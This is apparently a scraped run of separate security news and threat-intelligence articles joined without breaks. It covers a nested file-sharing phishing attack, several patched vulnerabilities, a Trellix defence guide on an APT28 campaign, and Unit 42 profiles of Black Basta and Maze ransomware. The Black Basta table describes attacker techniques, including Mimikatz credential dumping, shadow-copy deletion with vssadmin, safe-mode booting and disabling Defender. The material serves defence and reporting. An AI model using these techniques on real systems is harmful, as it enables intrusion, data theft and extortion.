Attack Type: Credential Phishing
Target: Loan Officer
Filesharing Service Attacks Used to Evade Microsoft Security
Figure 5.
Attackers using two file-sharing services to evade Microsoft security.
The anatomy of the attack:
The attacker, using a compromised account of a local real estate agent, sent a loan officer a forwarded message containing files, likely in regard to a closing/transaction.
Microsoft OneDrive file-sharing hosted a link to another file-sharing site, Evernote.
If a user clicks on the link in the Evernote document, they are taken to a fake OneDrive login page, where attackers can steal their Microsoft login credentials.
As of today, more than a month after this attack was spotted and condemned by Proofpoint, all pages with links to malicious content are still currently live.
As mentioned previously, Microsoft and an API email security solution missed this threat.
This is a perfect demonstration of how attackers will nest and hide their attacks, evading default security solutions and API email security applications.
These types of URL threats are increasingly common.
How Proofpoint stops file-sharing attacks
Infographic Showing How Proofpoint Stops Filesharing Attacks
Figure 6.
AI and ML are less effective without a large corpus of data powering the models.
The Proofpoint Nexus Threat Graph includes threat protection insights from 75+ of the F100, 60%+ of the F1000 and 200,000+ SMB organizations, in addition to a growing information and cloud threat protection presence.
Proofpoint provides an end-to-end, integrated advanced threat protection solution with multiple layers of protection to detect file-sharing attacks.
We use a detection ensemble with more than 26 layers for email threat protection to detect advanced techniques like nested attacks, CAPTCHA, or password-protected files and URLs by attackers attempting to evade security.
Our ML and artificial intelligence (AI) models for detection are fed by 2.6 billion daily emails, 1.9 billion attachments and over 49 billion URLs.
Also, our growing information protection solution includes threat insights on more than 28.2 million active cloud accounts, giving us details about how attackers are attempting to weaponize cloud applications like file-sharing accounts.
Proofpoint Detection Ensemble: BEC Defense, URL Defense, Attachment Defense
Figure 7.
The detection ensemble from Proofpoint has more than 26 layers, including advanced detection stacks for URLs including file-sharing, attachment and BEC defense as well as our behavioral engine to improve detection of all threats.
In the above examples from this post, it is important to note that Proofpoint would have detected and blocked these messages.
Recommendations to stop account compromise attacks
Proofpoint takes a layered approach to stopping file-sharing attacks with the Proofpoint Threat Protection Platform alongside our Information Protection Platform, providing more layers to protect organizations.
Some of these layers in our Threat Protection Platform include our leading detection, isolation, authentication, education and automated remediation capabilities.
There is no silver bullet to stop these threats, which is why a layered, integrated threat protection solution is necessary.
To learn more about how Proofpoint can stop these threats and more in your environment with our Threat Protection Platform, take a free Email Rapid Risk Assessment.
Google Chrome emergency update fixes new zero-day used in attacks
Google has released Chrome 105.0.5195.102 for Windows, Mac, and Linux users to address a single high-severity security flaw, the sixth Chrome zero-day exploited in attacks patched this year.
"Google is aware of reports that an exploit for CVE-2022-3075 exists in the wild," the company said in a security advisory published on Friday.
This new version is rolling out in the Stable Desktop channel, with Google saying that it will reach the entire user base within a matter of days or weeks.
It was available immediately when BleepingComputer checked for new updates by going into the Chrome menu > Help > About Google Chrome.
The web browser will also auto-check for new updates and automatically install them after the next launch.
No exploitation details available
The zero-day bug fixed today (CVE-2022-3075) is a high severity vulnerability caused by insufficient data validation in Mojo, a collection of runtime libraries that facilitates message passing across arbitrary inter- and intra-process boundaries.
Google says that this security issue was found by a security researcher that chose to report it anonymously.
Even though the browser vendor says the zero-day was exploited in the wild, it is yet to share technical details or info regarding these incidents.
"Access to bug details and links may be kept restricted until a majority of users are updated with a fix," Google added.
"We will also retain restrictions if the bug exists in a third party library that other projects similarly depend on, but haven't yet fixed."
By delaying the release of more information on these attacks, Google is likely aiming to provide Chrome users with enough time to update and prevent exploitation attempts until more threat actors create their own exploits to deploy in attacks.
Sixth Chrome zero-day fixed in 2022
With this release, Google has issued security updates to address the sixth Chrome zero-day patch since the start of the year.
The previous five zero-day vulnerabilities found and patched in 2022 are:
CVE-2022-2856 - August 17th
CVE-2022-2294 - July 4th
CVE-2022-1364 - April 14th
CVE-2022-1096 - March 25th
CVE-2022-0609 - February 14th
As the Google Threat Analysis Group (TAG) revealed in February, CVE-2022-0609 was exploited by North Korean-backed state hackers weeks before the February patch.
Furthermore, the earliest signs of exploitation were found in early January.
The bug was abused in campaigns pushing malware via phishing emails using fake job lures and compromised websites hosting hidden iframes serving exploit kits.
Given that the zero-day bug patched today is also known to have been exploited by attackers in the wild, it is strongly recommended to upgrade the Google Chrome web browser as soon as possible.
The Week in Ransomware - August 26th 2022 - Fighting back
We saw a bit of ransomware drama this week, mostly centered around LockBit, who saw their data leak sites taken down by a DDoS attack after they started leaking the allegedly stolen Entrust data.
Last week, LockBit claimed responsibility for a ransomware attack on cybersecurity giant Entrust and began leaking the company's allegedly stolen data Friday evening.
Soon after leaking the data, LockBit's Tor data leak sites experienced a DDoS attack that made them inaccessible.
Researchers released reports this week on a Genshin Impact anti-cheat driver being abused to terminate antivirus processes during ransomware attacks and a new extortion group called Donut Leaks.
Finally, this week's ransomware attacks include DESFA, Center Hospitalier Sud Francilien (CHSF), Instituto Agrario Dominicano, and Bombardier Recreational Products (BRP).
Twitter is down showing ‘Something went wrong’ errors
If you're experiencing issues on Twitter, you are not the only one, as the social network is currently going through an outage that makes it impossible for users to read tweets and tweet replies on the web.
Users report seeing "Something went wrong.
Try reloading."
and "Uh oh, there was an error" messages.
Mobile users also see the same errors displayed when clicking tweets.
When trying to click tweets on the Twitter web app, the only things that show up are the errors and a Retry button underneath, with no sidebar menu.
Some users also have issues loading the Twitter website altogether, while others say that their not even able to connect to Twitter's servers, according to Downdetector.
The issue behind the outage remains unclear for now, and the Twitter API status page shows no problems today.
Despite this, thousands of users have reported experiencing these issues while trying to use Twitter's website or mobile app.
Until now, the Twitter Support account has remained silent on the current outage, and the company is yet to update the API Status page, which shows that all systems are operational.
Twitter went through a similar outage last month, with the company pinning the issues on "some trouble with our internal systems," which affected users across the globe.
Earlier today, Twitter announced the introduction of a new Edit Tweet button in the coming weeks, available as part of a test for Twitter Blue subscribers.
This is a developing story ...
San Francisco 49ers: Blackbyte ransomware gang stole info of 20K people
NFL's San Francisco 49ers are mailing notification letters confirming a data breach affecting more than 20,000 individuals following a ransomware attack that hit its network earlier this year.
The San Francisco Bay Area professional American football team confirmed that personal information (including names and Social Security numbers) belonging to 20,930 impacted individuals was accessed and/or stolen in the attack between February 6 and February 11, 2022.
"The 49ers conducted a thorough review of these files to identify the individuals whose information was contained in the files, and additional research to locate and verify the addresses for these individuals," the team revealed in notification letters sent to affected individuals starting Thursday.
"The 49ers completed this process on August 9, 2022, and discovered that the incident involved the name and Social Security number of seven Maine residents."
At the time, the 49ers confirmed the incident in a statement to BleepingComputer, saying it caused a temporary disruption to portions of their IT network.
While the football team did not reveal whether the attackers successfully deployed ransomware payloads, the statement said they are still restoring systems, indicating that the breached devices were also likely encrypted.
"As the investigation continues, we are working diligently to restore involved systems as quickly and as safely as possible," the 49ers told BleepingComputer.
Attack claimed by the Blackbyte ransomware gang
The BlackByte gang claimed responsibility for the attack on February 12, right as the NFL was getting ready for Super Bowl 2022, by starting to leak files claimed were stolen from the 49ers' network.
The ransomware group also leaked an archive containing 292 MB worth of files the gang said were invoices stolen from 49ers' compromised servers.
Although it is unknown how much data was stolen during the February attack, BlackByte is known for selling gigabytes of data from some of its previous victims.
The BlackByte ransomware operation was launched in July 2021 when it started targeting corporate entities worldwide.
"We notified law enforcement and are fully supporting their investigation," the 49ers added in the data breach notification letters.
"We are also taking steps to help prevent something like this from occurring again, including additional measures to further enhance our security protocols and continued education and training to our employees."
Zyxel releases new NAS firmware to fix critical RCE vulnerability
Networking device maker Zyxel is warning customers today of a new critical remote code execution (RCE) vulnerability impacting three models of its Networked Attached Storage (NAS) products.
The vulnerability is tracked as CVE-2022-34747 and has received a CVSS v3 severity score of 9.8, rated critical, but not many details have been disclosed.
“A format string vulnerability was found in a specific binary of Zyxel NAS products that could allow an attacker to achieve unauthorized remote code execution via a crafted UDP packet,” explains the advisory.
Security researcher Shaposhnikov Ilya discovered the vulnerability on June 2022.
As a result, Zyxel gradually released security updates for the impacted models over the following months.
The NAS devices vulnerable to this flaw are NAS326, NAS540, and NAS542, all still within their active support period.
The vulnerable firmware versions are V5.21(AAZF.11)C0 and earlier for NAS326, V5.21(AATB.8)C0 and earlier for NAS540, and V5.21(AATB.8)C0 or older for NAS542.
The vendor has already released security updates for the impacted devices in the form of firmware updates, with links to the downloads in the security advisory.
Impacted models table
Impacted models table (Zyxel)
Alternatively, you can visit Zyxel’s official download portal, enter your device model, and download the latest firmware update listed in the results.
Remote code execution flaws allow many different attacks, including bypassing the need for user authentication, elevation of privilege, or any other limiting prerequisite.
The vulnerability could be abused to steal data, delete data, or deploy ransomware on Internet-exposed NAS devices.
While all scenarios are dire, ransomware is the most common, as it gives the threat actors the best way to monetize a successful attack.
Only yesterday, we reported that QNAP patched a zero-day vulnerability over the weekend that was used in a new wave of DeadBolt ransomware attacks.
In February, the same group also targeted ASUSTOR devices by leveraging an exploit for a previously unknown flaw.
Thus, DeadBolt is competent enough to find undocumented security gaps, let alone exploit known vulnerabilities.
Other ransomware gangs actively targeting NAS devices are Checkmate and eChoraix, both very active in 2022.
Trellix Global Defenders: Defending against Cyber Espionage Campaigns – Operation Graphite
By Ben Marandel, Arnab Roy · June 20, 2022
Cyber Espionage campaigns by nature are targeted attacks that can go undetected for prolonged periods of time.
Cyber Espionage campaigns often involve adversaries with clear objectives with capabilities to avoid defenses and leverage trusted enterprise IT systems or operational weaknesses within organisations.
Some of the key targets for espionage campaigns are as follows:
Cyber Espionage Key Targets
Figure 1: Cyber Espionage Key Targets
The ultimate goal of most cyber espionage campaigns are data exfiltration and wide spread reconasaince.
Operation graphite introduction
Trellix Advanced Threat Research team released threat research on the 25th of January 2022 which highlighted discovery of a new espionage campaign targeting high-ranking government officials Western Asia and Eastern Europe.
The attack is believed to have been triggered via targeted phishing with malicious macro enabled word document used to establish the initial access.
Once executed the malicious document leveraged a vulnerability in Excel (CVE2021-40444) which allows remote code execution on the impacted endpoint.
Similar to other espionage campaigns their was hands on recon of the targeted organization, specifically looking for documents with specific keywords of interest.
This was followed by multi-stage attack which included lateral movement to other systems of interest such as domain controllers and file servers.
The following figure shows the attack progression:
Attack Chain
Figure 2: Attack Chain
Like most multi-stage attacks a combination of exploitation techniques are observed such as use of LolBas/LolBins like Powershell and exploitation of enterprise architecture and system vulnerabilities.
During our analysis of the overall flow of the attack and the related payloads the following attributes of the attack stood out that could be critical at detecting/preventing this threat:
Use of OneDrive as a command a control server as well as for storing payload configuration and staging.
Their is evidence that the OneDrive Implant module of the empire framework was used by the threat actor which has been documented by the empire framework maintainers.
This was used specifically to subvert network security controls and hide traffic inside legitimate applications.
Use of embedded XLS into XLSX to bypass macro execution protection added in Office Excel.
The XLS file is used as a secondary payload which is exploiting the CVE-2021-40444, this is not the first file to be open by the victim.
To maximize the chances of execution of the exploitable XLS document the attacker uses dynamic loading of the office ribbon and custom options in the office toolbar by using a XLSM file, this XLSM file then dynamically loads the XLS file which triggers the execution of CVE-2021-40444.
Based on the observed TTP’s and operational similarity Trellix Threat research team was moderately confident that this attack could be attributed to APT 28.
Defensive architecture guidance
The question is how do we protect ourselves from such attacks?
At the heart of the answer is building an effective threat model for cyber espionage campaigns and then driving your defensive strategy based on “think red - act blue mindset” where the threat informed layered defensive strategy drives how the security controls are configured to provide a resilient defensive architecture.
Below is how the Trellix XDR solution architecture protects and detects this attack.
Trellix Solution Architecture
Figure 3: Trellix Solution Architecture
Organizations can build an effective threat model based on adversary characteristics some of which is very well documented within the MITRE ATT&CK framework.
Leveraging tools like MITRE ATT&CK navigator is one of the methods where you can combine multiple threat actor TTP’s and create an effective threat model for your SOC, an example below for TTP’s used by APT 28:
Common techniques used for Cyber Espionage - using ATT&CK
MITRE ATT&CK Navigator for APT28
Figure 4: MITRE ATT&CK Navigator for APT28
However, for customers who have Trellix Insights this process is even simpler: By filtering the Profiles to APT28, you will get a complete overview of the APT28 Group activities.
As an introduction the tool will give you a short description of the group and their current targeted countries / sectors.
Trellix Solution Architecture
Figure 5: APT28 Group Overview from MVISION Insights
Just after this introduction, you will get overview of the 42+ campaign currently observed by the Trellix Labs.
This view also indicates which endpoints within your organization may have insufficient coverage to protect themselves.
By clicking on the name of the campaign, you will pivot to the full details of the selected campaign.
Trellix Solution Architecture
Figure 6: Examples of APT28 related campaigns from MVISION Insights
The third section of the interface, describes the MITRE Techniques of Tools used by APT28 group.
Once C2 communications is established, researchers established the use of “Files and Directory Discovery – T1083” technique for Discovery and “Data Transfer Size Limits – T1030” technique for Exfiltration.
This group also uses tools such as Mimikatz to simplify Credential Access via LSASS Memory – T1003.001, Certutil to download third-party tools or X-Tunnel for Exfiltration over Asymmetric Encrypted Non-C2 Protocols – T1048.002.
Trellix Solution Architecture
Figure 7: MITRE Techniques used by the APT28 Group from MVISION Insights
And finally, based on all those information, the interface builds for you the powerful ATT&CK Matrix with a clear representation of the observed techniques.
Trellix Solution Architecture
Figure 8: APT28 Group MITRE ATT&CK matrix from MVISION Insights
Endpoint Protection Actions: Trellix Endpoint uses exploit prevention to block execution of CVE-2021-40444 as well as use behavioral threat protection via Adaptive Threat Prevention module.
Specifically, Advanced Behavior Blocking (ABB) rules stop the execution of child processes from office processes thus breaking the kill chain early in the attack lifecycle.
The following rules in Trellix ENS Exploit Prevention and Adaptive Threat Protection (ATP) are recommended to observe or block behavioral activity associated with exploitation techniques.
ENS Exploit Prevention Signature 6163: T1055: Suspicious Behavior: Malicious Shell Injection Detected
ENS Exploit Prevention Signature 6115: T1055: Fileless Threat: Reflective DLL Remote Injection
ENS ATP Rule 300: T1566: Prevent office applications from launching child processes that can execute script commands
To complement protection capabilities, Trellix EDR solution detects and visualizes the attack chain, as illustrated bellow at the “Initial Access” when the victim is opening for the first time the specifically crafted XLSX file.
In this screenshot of a demo sample illustrating Office Excel, you can observe the download of the XLS file natively through an HTTPS connection, after it has opened the XLSX file.
Trellix Solution Architecture
Figure 9: Excel.exe opening an XLSX file and then downloading an XLS file, captured by MVISION EDR
Preventing Data Exfiltration: Preventing the attempts to exfiltrate data can defeat this type of attack at an early stage.
The threat actor uses two key techniques for data exfiltration: exfiltration over existing network protocols and endpoint data reconnaissance techniques.
The exfiltration over the existing network protocol leverages the Microsoft Graph API utilized by O365 suite of apps to communicate between various O365 services.
The graph API has been a target of previous APT campaigns as it provides a unique insight into existing enterprise data sitting inside O365.
One of the key ways this attack can be completely defeated is by ensuring users cannot login to non-sanctioned O365 tenants.
This is possible by leveraging a URL content proxy that inspects the O365 instance id in the login URL of the tenant and subsequent communication.
The proxy can be configured to only allow the organizational tenant id of the enterprise O365 instance and not that of other O365 tenants.
This will prevent the threat actor from succeeding in establishing the initial command and control connection as well as data exfiltration.
Deploying endpoint DLP is the second critical factor in preventing the data exfiltration of sensitive information leaving organizational perimeter.
This includes getting visibility into endpoint processes accessing sensitive/tagged data.
Bringing Visibility into the SOC with XDR: Detecting multi-vector telemetry requires context and correlation across multiple data sources so that the right alerts and telemetry is presented to the SOC analyst for effective triage, scoping of the threat and effective incident response.
Example XDR Correlation with multi-vector sensor telemetry from Threat Intelligence, Endpoint, DLP
Figure 10: Example XDR Correlation with multi-vector sensor telemetry from Threat Intelligence, Endpoint, DLP
Integrated sandbox for malware analysis: As part of the Trellix solution architecture, the endpoints are capable of sending files dynamically or through integrated SOAR workflows to the Trellix Detection on Demand Cloud Sandbox.
A quick analysis of the XLSX document reveals that pseudo data was used entice the end user into opening the document.
Trellix DOD Analysis
Figure 11: Trellix DOD Analysis
Summary
Defeating a multi-stage cyberespionage campaign requires a multipronged defensive strategy that starts by building an effective threat model leading to prioritization and deployment of highest impact preventive controls which leads to a security model that stalls the attackers progress and delivering enterprise resilience to cyberespionage campaigns.
Some of the key steps in building such resilience is as follows:
Cyber Espionage Playbook
Figure 12: Cyber Espionage Playbook
For additional details and understanding, you can view our Threat Center webinar with Trellix Solution Architects explaining how we defend against this attack here.
Microsoft will disable Exchange Online basic auth next month
Microsoft warned customers today that it will finally disable basic authentication in random tenants worldwide to improve Exchange Online security starting October 1, 2022.
Today's announcement follows multiple reminders and warnings the company has issued over the last three years, the first published in September 2019.
The company again asked customers to toggle off basic auth in September 2021 and May 2022 after seeing that many of them were yet to move their clients and apps to Modern Authentication.
"Since our first announcement nearly three years ago, we've seen millions of users move away from basic auth, and we've disabled it in millions of tenants to proactively protect them.
We're not done yet though, and unfortunately usage isn't yet at zero.
Despite that, we will start to turn off basic auth for several protocols for tenants not previously disabled," the Exchange Team said today.
"Starting October 1st, we will start to randomly select tenants and disable basic authentication access for MAPI, RPC, Offline Address Book (OAB), Exchange Web Services (EWS), POP, IMAP, Exchange ActiveSync (EAS), and Remote PowerShell."
Redmond says a message announcing this move will be posted to the Windows Message Center seven days before the rollout begins.
Each tenant will be notified via the Service Health Dashboard notifications when basic auth is disabled.
On tenants where this authentication scheme will be disabled, customers will still be able to re-enable it once per protocol using the self-service diagnostic until the end of December 2022.
However, the protocols "will be disabled for basic auth use permanently" during the first week of January 2023, with no way of using basic auth again.
Until now, Microsoft says it has already disabled basic auth in millions of tenants that weren't using it and is also toggling off unused protocols within tenants still using it to protect them from attacks exploiting this insecure auth scheme.
Why is Microsoft disabling basic authentication?
Basic authentication (aka legacy authentication or proxy authentication) is an HTTP-based auth scheme applications use for sending credentials in plain text to servers, endpoints, or various online services.
Unfortunately, this allows threat actors to steal credentials in man-in-the-middle attacks over TLS or guess them in password spray attacks.
They can steal clear text credentials from apps using basic auth via several tactics, including social engineering and info-stealing malware.
Modern Authentication (an umbrella term for multiple authentication and authorization methods) uses OAuth access tokens that can't be re-used to authenticate on other resources besides the ones they were issued for.
To make things even worse, basic auth makes it quite complicated to enable multi-factor authentication (MFA), which means that it will often not be used at all.
Toggling on Modern Auth makes enabling MFA much less complicated, thus allowing for better Exchange Online security.
While there are many reasons behind switching to Modern Auth in Exchange Online, a Guardicore report added another to the list in September 2021.
It further highlighted the importance of this move, showing how hundreds of thousands of Windows domain credentials were leaked in plain text to external domains by misconfigured email clients using basic auth.
"This effort has taken three years from initial communication until now, and even that has not been enough time to ensure that all customers know about this change and take all necessary steps.
IT and change can be hard, and the pandemic changed priorities for many of us, but everyone wants the same thing: better security for their users and data," Microsoft added.
You can find more info on preparing for October's forced basic authentication deprecation and the best way to disable basic auth beforehand in the blog post The Exchange Team published today.
Threat Assessment: Black Basta Ransomware
Executive Summary
Black Basta is ransomware as a service (RaaS) that first emerged in April 2022.
However, evidence suggests that it has been in development since February.
The Black Basta operator(s) use the double extortion technique, meaning that in addition to encrypting files on the systems of targeted organizations and demanding ransom to make decryption possible, they also maintain a dark web leak site where they threaten to post sensitive information if an organization chooses not to pay ransom.
Black Basta affiliates have been very active deploying Black Basta and extorting organizations since the ransomware first emerged.
Although the Black Basta affiliates have only been active for the past couple of months, based on the information posted on their leak site, they have compromised over 75 organizations at the time of this publication.
Unit 42 has also worked on several Black Basta incident response cases.
The ransomware is written in C++ and impacts both Windows and Linux operating systems.
It encrypts users’ data using a combination of ChaCha20 and RSA-4096, and to speed up the encryption process, the ransomware encrypts in chunks of 64 bytes, with 128 bytes of data remaining unencrypted between the encrypted regions.
The faster the ransomware encrypts, the more systems can potentially be compromised before defenses are triggered.
It is a key factor affiliates look for when joining a Ransomware-as-a-Service group.
Palo Alto Networks customers receive help with detection and prevention of Black Basta ransomware through the following products and services: Cortex XDR and Next-Generation Firewalls (including cloud-delivered security services such as WildFire).
Black Basta Overview
Black Basta is ransomware as a service (RaaS) that leverages double extortion as part of its attacks.
The attackers not only execute ransomware but also exfiltrate sensitive data and threaten to release it publicly if the ransom demands are not met.
The threat actors behind the ransomware deploy a name-and-shame approach to their victim, where they use a Tor site, Basta News, to list all of the victims who have not paid the ransom.
Although the Black Basta RaaS has only been active for a couple of months, according to its leak site, it had compromised over 75 organizations at the time of this publication.
At least 20 victims were posted to its leak site in the first two weeks of the ransomware’s operation, which indicates the group likely is experienced in the ransomware business and has a steady source of initial access.
It is also possible that this is not a new operation but rather a rebrand of a previous ransomware group that brought along their affiliates.
Based on multiple similarities in tactics, techniques and procedures (TTPs) - victim-shaming blogs, recovery portals, negotiation tactics, and how quickly Black Basta amassed its victims - that the Black Basta group could include current or former members of the Conti group.
Unit 42 has observed the Black Basta ransomware group using QBot as an initial point of entry and to move laterally in compromised networks.
QBot, also known as Qakbot, is a Windows malware strain that started as a banking trojan and evolved into a malware dropper.
It has been used by other ransomware groups, including MegaCortex, ProLock, DoppelPaymer and Egregor.
While these ransomware groups used QBot for initial access, the Black Basta group was observed using it for both initial access and to spread laterally throughout the network.
Figure 1 below shows the standard attack lifecycle observed with Black Basta ransomware.
Technical Details
Black Basta is written in C++ and is cross-platform ransomware that impacts both Windows and Linux systems.
In June 2022, a VMware ESXi variant of Black Basta was observed targeting virtual machines running on enterprise Linux servers.
The ransomware includes anti-analysis techniques that attempt to detect code emulation or sandboxing to avoid virtual/analysis machine environments.
It also supports the command line argument -forcepath that is used to encrypt files in a specified directory.
Otherwise, the entire system, except for certain critical directories, is encrypted.
The ransomware spawns a mutex with a string of dsajdhas.0 to ensure a single instance of the malware is running at a time.
Then it will iterate through the entire file system, encrypting files with a file extension of .basta.
Black Basta ransomware encrypts users’ data through a combination of ChaCha20 and RSA-4096.
To speed up the encryption process, the ransomware encrypts in chunks of 64 bytes, with 128 bytes of data remaining unencrypted between the encrypted regions.
The ransomware also attempts to delete shadow copies and other backups of files using vssadmin.exe, a command-line tool that manages Volume Shadow Copy Service (VSS), which captures and copies stable images for backups on running systems.
It writes the Random-letters.ico and Random-letters.jpg files to the %TEMP% directory.
The .jpg file is leveraged to overwrite the desktop background and appears as follows:
It adds a custom icon to the registry, corresponding to the .basta icon, which is shown in Figure 3.
It will then boot the system in safe mode and proceed to encrypt files.
Following successful encryption, the file’s extension is changed to .basta and the ransomware will write numerous instances of readme.txt, which contains the following ransom note:
Tactics, Techniques and Procedures
We have observed Black Basta affiliates leveraging the following TTPs:
Tactic / Technique 	Notes
TA0001 Initial Access
T1566.001.
Phishing: Spear phishing Attachment 	Victims receive spear phishing emails with attached malicious zip files - typically password protected.
That contains malicious doc including .doc, .pdf, .xls
TA0002 Execution
T1569.002.
System Services: Service Execution 	Black Basta has installed and used PsExec to execute payloads on remote hosts.
T1047.
Windows Management Instrumentation 	Utilizes Invoke-TotalExec to push out the ransomware binary.
T1059.001.
Command and Scripting Interpreter: PowerShell 	Black Basta has encoded PowerShell scripts to download additional scripts.
TA0003 Persistence
T1136.
Create Account 	Black Basta threat actors created accounts with names such as temp, r, or admin.
T1098.
Account Manipulation 	Added newly created accounts to the administrators' group to maintain elevated access.
T1543.003.
Create or Modify System Process: Windows Service 	Creates benign-looking services for the ransomware binary.
T1574.001.
Hijack Execution Flow: DLL Search Order Hijacking 	Black Basta used Qakbot, which has the ability to exploit Windows 7 Calculator to execute malicious payloads.
TA0004 Privilege Escalation
T1484.001.
Domain Policy Modification: Group Policy Modification 	Black Basta can modify group policy for privilege escalation and defense evasion.
T1574.001.
Hijack Execution Flow: DLL Search Order Hijacking 	Black Basta used Qakbot, which has the ability to exploit Windows 7 Calculator to execute malicious payloads.
T1543.003.
Create or Modify System Process: Windows Service 	Creates benign-looking services for the ransomware binary.
TA0005 Defense Evasion
T1484.001.
Domain Policy Modification: Group Policy Modification 	Black Basta can modify group policy for privilege escalation and defense evasion.
T1218.010.
System Binary Proxy Execution: Regsvr32 	Black Basta has used regsvr32.exe to execute a malicious DLL.
T1070.004.
Indicator Removal on Host: File Deletion 	Attempts to delete malicious batch files.
T1112.
Modify Registry 	Black Basta makes modifications to the Registry.
T1140.
Deobfuscate/Decode Files or Information 	Initial malicious .zip file bypasses some antivirus detection due to password protection.
T1562.001.
Impair Defenses: Disable or Modify Tools 	Disables Windows Defender with batch scripts, such as d.bat or defof.bat.
T1562.004.
Impair Defenses: Disable or Modify System Firewall 	Uses batch scripts, such as rdp.bat or SERVI.bat, to modify the firewall to allow remote administration and RDP.
T1562.009.
Impair Defenses: Safe Boot Mode 	Uses bcdedit to boot the device in safe mode.
T1574.001.
Hijack Execution Flow: DLL Search Order Hijacking 	Black Basta used Qakbot, which has the ability to exploit Windows 7 Calculator to execute malicious payloads.
T1622.
Debugger Evasion 	Uses IsDebuggerPresent to check if processes are being debugged.
TA0006 Credential Access
T1555.
Credentials from Password Stores 	Black Basta uses Mimikatz to dump passwords.
TA0007 Discovery
T1087.002.
Account Discovery: Domain Account 	Used commands such as net user /domain and net group /domain.
T1016.
System Network Configuration Discovery 	Lists internal IP addresses to target in C:\Windows\pc_list.txt – typically found on the Domain Controller.
T1082.
System Information Discovery 	Uses GetComputerName to query the computer name.
T1622.
Debugger Evasion 	Uses IsDebuggerPresent to check if processes are being debugged.
TA0008 Lateral Movement
T1021.001.
Remote Services: Remote Desktop Protocol 	Black Basta has used RDP for lateral movement.
TA0009 Collection
T1560.001.
Archive Collected Data: Archive via Utility
TA0010 Exfiltration
T1567.
Exfiltration over Web Service
TA0011 Command and Control
T1219.
Remote Access Software 	Black Basta has installed and used legitimate tools such as TeamViewer and AnyConnect on targeted systems.
T1573.
Encrypted Channel 	Uses Qakbot primarily and Cobalt Strike.
TA0040 Impact
T1486.
Data Encrypted for Impact 	Black Basta modifies the Desktop background by adding a .jpg in C:\Temp and creating a registry key HKCU\Control Panel\Desktop.
Additionally modifies the registry to change the icon of encrypted files.
It encrypts files excluding those with a .exe, .cmd, .bat and .com extension.
Uses ChaCha20 or RSA-4096 to encrypt victims.
T1489.
Service Stop 	Uses sc stop and taskkill to stop services.
T1490.
Inhibit System Recovery 	Black Basta deletes Volume Shadow Copies using vssadmin.
Table 1.
Tactics, techniques and procedures for Black Basta activity.
Victimology
The ransomware group and its affiliate program reportedly compromised multiple large organizations, in sectors including consumer and industrial products; energy, resources and agriculture; manufacturing; utilities; transportation; government agencies; professional services and consulting; and real estate.
Black Basta operators also posted on dark web forums expressing interest in attacking organizations based in Australia, Canada, New Zealand, the U.K. and the U.S.
Threat actors using the ransomware impacted organizations based in the U.S., Germany, Switzerland, Italy, France and the Netherlands (listed in descending order by numbers of allegedly breached organizations).
The threat actor(s) responsible for Black Basta operate a cybercrime marketplace and victim name-and-shame blog.
This site is hosted as a Tor hidden service, where the Black Basta ransomware group lists their victims’ names, descriptions, percentage of stolen data which has been published, number of visits and any data exfiltrated.
There were 75 victims listed on the leak site at the time of writing.
Courses of Action
Several adversarial techniques were observed in activity associated with Black Basta, and the following measures are suggested within Palo Alto Networks products and services to mitigate threats related to Black Basta ransomware, as well as other malware using similar techniques:
Conclusion
Black Basta ransomware operators have been active since at least April 2022.
Although their RaaS has only been active for the past couple of months it had compromised at least 75 organizations at the time of this publication.
Due to the high-profile nature and steady stream of Black Basta attacks identified globally in 2022, the operators and/or affiliates behind the service likely will continue to attack and extort organizations.
Threat Brief: Maze Ransomware
Executive Summary
Since the beginning of the calendar year, Palo Alto Networks has detected an uptick in Maze ransomware samples across multiple industries.
As a result, we've created this general threat assessment post on the Maze ransomware activities and full visualization of these techniques can be viewed in the Unit 42 Playbook Viewer.
Maze ransomware, a variant of ChaCha ransomware, was first observed in May 2019 and has targeted organizations in North America, South America, Europe, Asia, and Australia.
This ransomware is typically distributed via emails containing weaponized Word or Excel attachments.
However, it has also been distributed via exploit kits such as the Spelevo Exploit Kit, which has been used with Flash Player vulnerabilities CVE-2018-15982 and CVE-2018-4878.
Maze ransomware has also utilized exploits CVE-2019-11510 (Pulse VPN), as well as CVE-2018-8174 (Internet Explorer) to get into a network.
The malware first establishes a foothold within the environment.
It then obtains elevated privileges, conducts lateral movement, and begins file encryption across all drives.
However, before encrypting the data, these operators may exfiltrate the files to be used for further coercion, including public exposure.
Without the proper protections in place, a Maze ransomware infection will cripple normal business operations, and sensitive information will be compromised, resulting in a monetary loss.
Maze has not only been observed globally, but also affecting varying industries, which include: finance, technology, telecommunications, healthcare, government, construction, hospitality, media and communications, utilities and energy, pharma and life sciences, education, insurance, wholesale, and legal.
On March 26, 2020, McAfee published a report providing a detailed overview of the Maze ransomware.
Palo Alto Networks Cortex XDR contains an Anti-Ransomware Protection module, which targets encryption-based activities associated with ransomware.
Customers can also review activity associated with this Threat Brief via AutoFocus.
Impact Assessment
Several adversarial techniques were observed in this activity.
The following measures are suggested within Palo Alto Networks products and services for Maze ransomware:
Tactic 	Technique (Mitre ATT&CK ID) 	Product/Service 	Course of Action
Initial Access 	External Remote Services
(T1133) 	NGFW 	Configure Interfaces and Zone segmentation
Threat Prevention† 	Deploy Vulnerability Protection Profile  for all low and high severity threats with block action
Cortex XDR 	Configure Host Firewall Profile
Initial Access 	Spear-Phishing Attachment (T1193) 	NGFW 	Configure a File Blocking Profile
Threat Prevention† 	Enable Anti-Virus profile with reset-both action
WildFire 	Forward files for WildFire Analysis
Cortex XDR 	Configure Malware Security Profile
Initial Access 	Drive-by Compromise
(T1189) 	NGFW 	Block all unknown and unauthorized applications
Threat Prevention† 	Deploy Vulnerability Protection Profile for all low and high severity threats with block action
DNS Security† 	Enable DNS Security in Anti-Spyware profile
URL Filtering† 	Control web access based on URL Category
WildFire 	Forward Files for WildFire Analysis
Initial Access 	Trusted Relationship (T1199) 	NGFW 	Configure Interfaces and Zones segmentation
Initial Access
Privilege Escalation
Persistence
Defense Evasion 	Valid Accounts (T1078) 	NGFW 	Configure Multi-Factor Authentication
Threat Prevention† 	Enable Credential Phishing protection
Cortex XSOAR 	Deploy Cortex XSOAR Playbook - Access Investigation
Execution Defense Evasion 	Scripting
(T1064) 	WildFire 	Forward Files for WildFire Analysis
Cortex XDR 	Enable Anti-Exploit and Anti-Malware Protection
Execution 	Powershell (T1086) 	Cortex XDR 	Enable Anti-Exploit and Anti-Malware Protection
Execution 	Command-Line Interface (T1059) 	Cortex XDR 	Enable Anti-Exploit and Anti-Malware Protection
Execution 	Service Execution (T1035) 	Cortex XDR 	Configure Behavioral Threat Protection under the Malware Security Profile
